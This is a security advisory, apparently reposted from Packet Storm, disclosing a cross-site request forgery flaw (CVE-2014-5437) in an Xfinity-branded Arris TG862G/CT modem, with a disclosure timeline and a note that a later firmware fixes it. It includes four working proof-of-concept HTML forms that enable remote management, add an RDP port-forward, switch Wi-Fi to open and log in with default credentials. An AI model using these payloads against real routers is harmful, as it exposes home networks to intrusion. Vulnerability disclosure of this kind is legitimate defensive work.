Arris Touchstone TG862G/CT Cross Site Request Forgery

2014-12-1600:00:00
Seth Art
packetstormsecurity.com
0.001 Low
EPSS
Percentile
40.7%
JSON
`-----------  
Vendor:  
-----------  
Arris Interactive, LLC (http://www.arrisi.com/)  
ISP: Comcast Xfinity  
  
-----------------------------------------  
Affected Products/Versions:  
-----------------------------------------  
HW: Arris Touchstone TG862G/CT (Xfinity branded)  
SW: Version 7.6.59S.CT (Tested)  
  
-----------------  
Description:  
-----------------  
Title: Cross-site Request Forgery (CSRF)  
CVE: CVE-2014-5437  
CWE: CWE-352: http://cwe.mitre.org/data/definitions/352.html  
Researcher: Seth Art - @sethsec  
  
----------------------------------------------------  
POC - Enable remote management:  
----------------------------------------------------  
  
<html>  
<body>  
<h1>Arris </h1>  
<form action="http://10.0.0.1/remote_management.php" method="POST">  
<input type="hidden" name="http_port" value="8080" />  
<input type="hidden" name="http" value="enabled" />  
<input type="hidden" name="single" value="any" />  
<input type="submit" value="Submit request" />  
</form>  
  
Sending CSRF Payload!!!  
</body>  
</html>  
  
----------------------------------------------  
POC - Add port forwarding rule:  
----------------------------------------------  
  
<html>  
<body>  
<h1> Arris TG862G/CT – CSRF - Add port forwarding rule</h1>  
<form action="http://10.0.0.1/port_forwarding_add.php" method="POST">  
<input type="hidden" name="common_services" value="other" />  
<input type="hidden" name="other_service" value="csrf1" />  
<input type="hidden" name="sevice_type" value="1" />  
<input type="hidden" name="server_ip_address_1" value="10" />  
<input type="hidden" name="server_ip_address_2" value="0" />  
<input type="hidden" name="server_ip_address_3" value="0" />  
<input type="hidden" name="server_ip_address_4" value="100" />  
<input type="hidden" name="start_port" value="3389" />  
<input type="hidden" name="end_port" value="3389" />  
<input type="submit" value="Submit request" />  
</form>  
  
Sending CSRF Payload!!!  
</body>  
  
-----------------------------------------------------------  
POC - Change wireless network to open:  
-----------------------------------------------------------  
  
<html>  
<body>  
<h1> Arris TG862G/CT – CSRF – Change wireless network to open</h1>  
<form action="http://10.0.0.1/wireless_network_configuration_edit.php"  
method="POST">  
<input type="hidden" name="restore_factory_settings" value="false" />  
<input type="hidden" name="channel_sel" value="Manual" />  
<input type="hidden" name="channel_num" value="1" />  
<input type="hidden" name="ssid" value="csrf" />  
<input type="hidden" name="wifi_mode" value="7" />  
<input type="hidden" name="security" value="none" />  
<input type="hidden" name="channel_selection" value="manual" />  
<input type="hidden" name="channel" value="1" />  
<input type="hidden" name="save_settings" value="Save Settings" />  
</form>  
  
Sending CSRF Payload!!!  
</body>  
</html>  
  
-----------------------------------------------------  
POC - Login with default credentials:  
-----------------------------------------------------  
  
<html>  
<body>  
<h1>Arris TG862G/CT - Login CSRF – Default credentials </h1>  
<form action="http://10.0.0.1/home_loggedout.php" method="POST">  
<input type="hidden" name="username" value="admin" />  
<input type="hidden" name="password" value="password" />  
<input type="submit" value="Submit request" />  
</form>  
  
Sending CSRF Payload!!!  
</body>  
</html>  
  
-------------  
Solution:  
-------------  
I tested my Comcast Xfinity device on December 10th, 2014 and it is no  
longer vulnerable (version 7.6.86L.CT). If you have an Arris  
modem/router, contact your ISP (or Arris) to verify that your firmware  
has been updated to address this vulnerability... or you could fire up  
Burp and see for yourself ;)  
  
-----------------------------  
Disclosure Timeline:  
-----------------------------  
2014-07-16: Notified Arris of vulnerabilities in TG862G/CT product  
2014-07-16: Arris responded and escalated issue to Tier 2  
2014-07-17: Arris requested vulnerability details  
2014-07-17: Vulnerability report sent to Arris Tier 2  
2014-07-18: Arris confirmed receipt and began investigation  
2014-08-04: Requested update from Arris  
2014-08-05: Arris confirms issue has been escalated to engineering team  
2014-08-06: Attended call with Arris to walk through findings  
2014-09-18: Notified Arris that CVE-2014-5437 will be used to identify  
this vulnerability  
2014-09-25: December 6th suggested as the disclosure date  
2014-10-13: Arris requested disclosure date of December 15th  
2014-12-15: Public disclosure  
  
  
`
0.001 Low
EPSS
Percentile
40.7%
JSON
Related for PACKETSTORM:129600